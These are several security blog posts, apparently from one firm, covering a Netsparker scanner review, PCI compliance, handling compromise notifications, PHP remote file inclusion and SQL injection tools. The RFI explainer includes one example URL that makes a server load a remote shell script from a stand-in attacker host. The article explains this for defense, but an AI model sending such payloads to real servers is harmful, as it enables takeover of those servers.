What We Love About Netsparker

Netsparker Professional Edition, by Mavituna Security, is a web application scanner focused on finding unknown flaws in your applications. It can find a wide range of vulnerabilities including SQL injection, cross-site scripting, local and remote file inclusion, command injection and more.

Installation of the software was easy, and as Mavituna Security touts, the license is non-obtrusive. Starting the application you are presented with a nice well designed gui, that shows quite a lot of information. To start a scan, it can be as simple as just putting in a URL. It is very easy for non-security professionals to setup and use. There are also profiles you can configure and save. It’s possible to configure a form login through a very well designed wizard.

The main draw of Netsparker is the confirmation engine, which is how Netsparker claims to be false positive free. The confirmation engine takes the vulnerability and actually confirms that it’s exploitable. If it’s exploitable, it’s definitely not a false positive. A neat feature of identified SQL injection vulnerabilities is the ability for Netsparker to allow you to exploit them right through the scanner. You can run SQL queries, or even open a shell (depending on DB and configuration of it). Directory traversal vulnerabilities can be exploited to download the whole source of the application since Netsparker already knows all the files, and other system files can also be retrieved and saved through the interface.

We set Netsparker to scan our Web application lab which contains known vulnerabilities that cover the OWASP Top Ten Project. We noticed that Netsparker did a very good job at spidering and finding a high number of attack surfaces. On vulnerabilities, Netsparker did a great job of finding SQL injections, cross site scripting, and directory traversals. On one vulnerability, I thought I may have made Netsparker report a confirmed false positive, but it turns out I was wrong after I used the built in query maker and ran one and got data back.

Overall I think Netsparker is an excellent tool, especially effective at finding SQL injections and cross-site issues. Of course, I wouldn’t say it was the only scanner you should have, but definitely consider adding it to your repertoire.

The Media Makes PCI Compliance “Best Defense”?

I have seen a lot of hype in my day, but this one is pretty much — not funny. Below is a link to a mainstream media trade magazine for the hospitality industry in which the claim that PCI compliance is the “best defense” hotels and the like can have against attackers and data theft.

Link: http://is.gd/cgoTz

Now, I agree that hospitality folks should be PCI complaint, since they meet the requirements by taking credit cards, but setting PCI DSS as the goal is horrible enough. Making PCI out to be the “best defense” is pretty ridiculous.

PCI DSS and other standards are called security BASELINES for a reason. That is, they are the base of a good security program. They are the MINIMUM set of practices deemed to be acceptable to protect information. However, there is, in most all cases, a severe gap between the minimum requirements for protecting data and what I would quantify as the “best defense”. There are so many gaps between PCI DSS as a baseline and “best defense” that it would take pages and pages to enumerate. As an initial stab, just consider these items from our 80/20 approach to infosec left out of PCI: Formalized risk assessment (unless you count the SAQ or the work of the QSA), data flow modeling for data other than credit card information, threat modeling, egress controls, awareness, incident response team formation and even skills gap/training for your security team.

My main problem with PCI is not the DSS itself, but how it is quickly becoming the goal for organizations instead of the starting line. When you set minimums and enforce them with a hammer, they quickly come to be viewed as the be-all, end-all of the process and the point at which the pain goes away so you can focus on other things. This is a very dangerous position, indeed. Partial security is very costly and, at least in my opinion, doing the minimum is pretty far away from being the “best defense”.

Responding to a Compromised System Alert

Thanks to the data from the HITME, I interact with a lot of people and organizations that have compromised machines. Often, my email or phone call is the first they have heard of the problem. Reactions vary from shock and denial to acceptance and occasionally rage. Even worse, when they hear that their machines are attacking others or being used in active attacks, many have no idea how to handle the situation.

Should you ever get a call like this from me or someone else, here are a few tips that you might find helpful for proceeding.

1. Be polite. I am calling to help you. Even though my message may mean more work and possibly some pain for you and your staff, knowing about a compromise is MUCH better than not knowing. Usually, the more polite and nice you are, the more information I will help you understand. I can usually point you in the right direction to begin to understand the issue, but if you act like a jerk, I will likely leave you to it.

2. Begin an investigation as soon as possible. Invoke your incident response process. If you don’t have one, ask for help, or retain assistance. But, please, treat a caller who explains and demonstrates that you have a system compromise with immediate attention. I see hundreds of compromised systems a day and I don’t have time to beg and plead with you to reduce your risk and the risk your systems present to others. I am happy to substantiate my claims, but after I notify you, TAKE ACTION. The majority of compromised systems involved in notification remain under attacker control for extended periods. Often, weeks and months pass by before any apparent action (such as mitigation or clean up) takes place.

3. Do a thorough job of mitigation. I would say that more than 25% of the time (I just started formally tracking this to gather better metrics.) when a site goes through “clean up”, they end up compromised again and right back where they started from. Likely many of these machines are simply bot-infected and the bots just place their malware back on the system after “clean up” is done. Removing the basic tag files or malware, but not understanding how they got there in the first place and fixing that is pretty much meaningless. For example, I have been working with a site presently that has been used as a PHP RFI verification tag file host for weeks. They have “cleaned up” every day for several weeks to no avail. Every night, they get hit by another PHP RFI scanner and it exploits their system and drops a new tag or malware bot. I have tried explaining no less than 10 times how they need to identify the underlying PHP issue, harden the PHP environment (yeah, I sent them the settings) to no avail. This is an example of how to fail at risk, threat and vulnerability management. Don’t do it. Fix the real problems. If you don’t know how, ask and then follow the guidance provided. If you need more help, either retain it or get a scanner and start hardening.

4. Respect the law. Don’t beg me not to turn this over to law enforcement. I have to. I want to, if you are critical infrastructure or some other member of the high threat club. Fix your stuff and manage security appropriately if you’re a member of the club; or you deserve to explain to law enforcement why you declined. Either way, I am going to try and help you and everyone by making the report.

5. List a contact for security issues on your site. Please, when I do call, I need to know who to talk to. At the very least, let your reception folks know how to handle security calls. The last thing you want is for the attacker to continue to compromise your systems while I play in “Voicemail-Land” forever. Remember, help me help you.

Lastly, even if you don’t get this call, do your due diligence. Make sure that your systems are secure and that you have security processes in place. Retain someone to help you manage risk and perform validation. Work with them to create effective risk management techniques for your organization. Hopefully, you won’t be on the other end of the line tomorrow or the next day as I make my round of calls….

If you have any additional suggestions or comments on this approach, please feel free to drop a comment below. As always, thanks for reading and be careful out there.

Understanding PHP RFI Vulnerabilities

PHP is a scripting language that is deployed on countless web servers and used in many web frameworks. “PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.”[1] In 2007, at least 20 million websites had PHP deployed. The exponential growth of PHP came from the development of LAMP/WAMP stacks. These stand for Linux/Apache/MySQL/PHP and Windows/Apache/MySQL/PHP respectively.

These ensure that deployment of PHP applications are simple enough for the most novice web developer. Many of you may have heard of WordPress, Drupal, or Joomla. These are common web applications that are written entirely in PHP. Many sites run PHP as their main scripting language, such as Youtube, Facebook, Digg, and Wikipedia.

PHP also powers cybercrime. A large majority of publicly disclosed vulnerabilities are PHP related. In 2009, 5733 PHP Remote File Inclusion vulnerabilities were disclosed.[2] In situations where exploiting PHP RFI is possible, most likely SQL Injection and Cross Site Scripting are all possible. This is due to the exploits having the same root cause or lacking input validation.

What is a PHP Remote File Injection (RFI) attack? A PHP RFI attack occurs when there is unvalidated input to a PHP script. This allows PHP code to be injected by a malicious person. For example, a typical PHP URL would look something like this:


How can this be abused to cause PHP RFI? The errors.php script is taking a file as input, which in the example, is errorsfile.php. If the site is vulnerable and does not have input validation, any file could be used as input, even files from remote servers. When the vulnerable server requests www.example.com/errors.php?error=http://evilhaxor.com/remoteshell.php, the remoteshell.php file will be processed by the web server. Attackers can do quite a bit with remotely included PHP files, including opening a shell, enumerating users or programs, and defacing the website. Basically, whatever user the web server is running as, an attacker can run commands as that user.

How do we fix PHP RFI? There are several variables within the PHP configuration that can be set to provide a more secure environment for PHP code to run in. These are register_globals, allow_url_fopen, and allow_url_include. In an ideal world, we would be able to set all of these variables in the php.ini file to OFF. However, in most cases this will break applications dependent on these functions. A thorough review of their usage should be done before setting any of them to OFF. Another solution is to implement secure coding practices in PHP, and to implement input validation.

Detailing input validation methods and ways to securely code PHP is too complex for this article. However you can discover more by reading the OWASP Top 10 entries for PHP RFI, and the Web Application Security Consortium article on PHP RFI. Both will help you learn about this threat and take precautions for your own network.

The iPad as a VPN Client

Today was my first real chance to try out the iPad as a VPN client in a critical situation. I needed an essential file for a client in a real hurry. We were about 50 miles from the office and a physical return with the file wasn’t possible. Even worse, it was stored on an encrypted vault volume on my personal backup system, so none of my engineers could assist me, since they lack credentials for that box.
Thankfully, I had my iPad with me. I had already set up a VPN connection for my device, but hadn’t yet tested it. The good news is that it worked perfectly! I was able to quickly create a VPN tunnel back to my network and then SSH into my vault. Once there, I could effortlessly arrange for a file transfer to my client in a secure manner. I even piped a VNC connection over the tunnel using iTeleport and could interact with the GUI nearly as easily as on a laptop.
All in all, it was a great save and made an excellent real world use case for the iPad in my work flow. Have you had any other big successes with the iPad in your security work? If so, drop a comment and tell us about it. I look forward to reading about it!

SQL Injection Tools in the Field

As the Internet continues to morph, common attack vectors change. Info Sec professionals once had the ease of scanning a network and leveraging available vulnerabilities to gain a foothold; but now we’re seeing a paradigm shift toward web applications and the security that protects them. I’m sure this is nothing new to our readers! We all see the application as an emerging favorite to gain access to the network; just as we’re seeing the web browser gaining popularity in targeting the end user and workstation.

As our Team continues to provide top notch application assessment services, we’re seeing SQL Injection (SQLi) as one major vector of which to take advantage. Unfortunately, this attack is quite time-consuming, considering the various ways developers code their queries, utilize the architecture involved, and evaluate how the application handles interactions with the database. In an effort to be more efficient in the quest for vulnerable query strings, we have aggressively tested the plethora of SQLi tools that have been publicly released. Initially, the Team hoped to evaluate these tools and provide an extensive review on the performance of each. This tech is sad to report that from the three tools tested recently, not one was successful in the endeavor.

After some discussion, the Team concluded there are simply too many variables in play for one tool to serve as “the silver bullet.” The language and structure of the queries are just a few of the challenges these tools face when sniffing out vulnerable SQL strings. With so many variables for attackers and penetration testers to overcome, SQL injection testing has become extremely difficult to automate reliably! That being said, it appears as if these tools are created for use in such specific circumstances that they’re rendered useless for anything but that one, specialized scenario. So we’re continuing to find this to be a long, drawn out, manual process. This is not a complaint. Our Team loves the challenge! It’s just difficult to find a SQLi tool that can adapt to uses other than that for which the tool was specifically created – commonly a source of frustration when trying to expedite the process and finding little success.